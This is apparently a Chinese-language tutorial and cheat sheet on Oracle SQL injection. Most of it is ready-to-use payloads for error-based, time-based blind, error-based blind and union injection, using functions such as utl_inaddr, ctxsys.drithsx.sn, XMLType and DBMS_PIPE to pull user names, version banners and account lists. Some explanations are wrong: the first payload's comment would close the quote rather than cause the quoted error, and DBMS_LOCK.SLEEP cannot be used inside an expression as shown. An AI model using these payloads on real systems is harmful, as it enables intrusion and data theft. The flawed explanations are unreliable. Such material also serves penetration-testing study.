Oracle 注入类型

报错注入

如果程序没有对用户的输入参数进行过滤或转义,那么攻击者就可以通过输入特殊的字符或语句,触发Oracle数据库的错误信息,从而获取数据库的版本、结构、内容等信息,或者执行恶意的语句,如删除表、插入记录等

假设一个查询语句如下:

SELECT * FROM users WHERE id='$id';

其中$id是用户输入的参数,如果程序没有对$id进行过滤或转义,那么攻击者就可以通过输入以下的值,来实现Oracle报错注入:

1' OR 1=1 -- 

这样,查询语句就变成了:

SELECT * FROM users WHERE id='1' OR 1=1 -- ';

由于单引号没有闭合,导致语法错误,从而触发Oracle数据库的错误信息,如:

ORA-01756: quoted string not properly terminated

从这个错误信息中,攻击者可以判断出数据库的类型是Oracle,以及存在SQL注入的漏洞。接下来,攻击者可以利用一些Oracle的内置函数或系统视图,来构造更复杂的报错注入语句,从而获取更多的数据库信息,或者执行更多的恶意语句。例如,攻击者可以使用以下的函数或视图,来实现报错注入

  • utl_inaddr.get_host_name():该函数用于获取主机名,如果传入一个SQL语句作为参数,那么会返回该语句的执行结果,如:
1' AND 1=utl_inaddr.get_host_name((SELECT user FROM dual)) -- 

该语句会返回当前用户的名称,如:

ORA-29257: host SYS unknown
  • ctxsys.drithsx.sn():该函数用于全文检索,如果传入一个SQL语句作为参数,那么会返回该语句的执行结果,如:
1' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1)) -- 

该语句会返回数据库的版本信息,如:

ORA-20000: Oracle Text error:
DRG-10599: column is not indexed
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
  • XMLType():该函数用于将字符串转换为XML类型,如果传入一个SQL语句作为参数,那么会返回该语句的执行结果,如:
1' AND (SELECT upper(XMLType(chr(60)||chr(58)||(SELECT user FROM dual)||chr(62))) FROM dual) IS NOT NULL -- 

该语句会返回当前用户的名称,如:

ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00217: invalid character 58 (:) found in a Name or Nmtoken
Error at line 1
:<SYS>

当然,也可以运行如下两个命令:

SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual
SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users

盲注

Oracle盲注可以分为两种类型,一种是基于时间的盲注,另一种是基于错误的盲注

时间盲注:

  • DBMS_PIPE.RECEIVE_MESSAGE():该函数用于从指定的管道中接收消息,如果没有消息,那么会等待一定的时间,直到超时或收到消息为止。攻击者可以使用该函数来制造人为的延时,如:
1' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',10) -- 
  • DBMS_LOCK.SLEEP():该函数用于让一个过程休眠一定的秒数,攻击者可以使用该函数来制造人为的延时,如:
1' AND 1=DBMS_LOCK.SLEEP(10) -- 
  • DBMS_PIPE.RECEIVE_MESSAGE(‘[RANDSTR]’,[SLEEPTIME]):Oracle数据库的内置函数,用于从指定的管道中接收消息,如果没有消息,那么会等待一定的时间,直到超时或收到消息为止。'[RANDSTR]’是一个随机的字符串,用于指定管道的名称,[SLEEPTIME]是一个数字,用于指定等待的时间,单位是秒
1' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) AND '1'=(SELECT CASE WHEN user='SYS' THEN '1' ELSE '0' END FROM dual) -- 

这条语句的意思是,在原始的SQL语句后面添加两个条件,第一个条件是1=DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5),这个条件会让数据库等待5秒,然后返回1,所以这个条件总是为真;第二个条件是’1’=(SELECT CASE WHEN user=‘SYS’ THEN ‘1’ ELSE ‘0’ END FROM dual),这个条件是一个子查询,用于判断当前用户的名称是否是’SYS’,如果是,那么返回’1’,否则返回’0’,然后和’1’进行比较,如果相等,那么条件为真,否则为假。这样,如果当前用户的名称是’SYS’,那么两个条件都为真,数据库会返回结果,但是由于第一个条件的延时,网页的加载时间会增加5秒;如果当前用户的名称不是’SYS’,那么第二个条件为假,数据库不会返回结果,网页的加载时间不会增加。通过这种方式,攻击者就可以判断当前用户的名称是否是’SYS’

  • 高耗时操作:这种方法是利用数据库中的一些操作,如查询大量的数据、进行复杂的计算等,来增加数据库的处理时间,从而影响网页的加载时间,如:
1' AND 1=(SELECT COUNT(*) FROM all_objects) -- 

错误盲注:

  • UTL_INADDR.GET_HOST_NAME():该函数用于获取主机名,如果传入一个SQL语句作为参数,那么会返回该语句的执行结果,如:
1' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual)) -- 
  • UTL_INADDR.GET_HOST_ADDRESS():该函数用于获取主机地址,如果传入一个SQL语句作为参数,那么会返回该语句的执行结果,如:
1' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1)) -- 
  • XMLType():该函数用于将字符串转换为XML类型,如果传入一个SQL语句作为参数,那么会返回该语句的执行结果,如:
1' AND (SELECT upper(XMLType(chr(60)||chr(58)||(SELECT user FROM dual)||chr(62))) FROM dual) IS NOT NULL -- 
  • 逻辑错误:这种方法是利用数据库中的一些逻辑错误,如除以零、字符串转换为数字等,来触发数据库的错误信息,如:
1' AND 1=(SELECT 1/0 FROM dual) -- 

联合注入

SELECT user FROM dual UNION SELECT * FROM v$version
SELECT user FROM dual UNION (SELECT * FROM v$version)
SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version)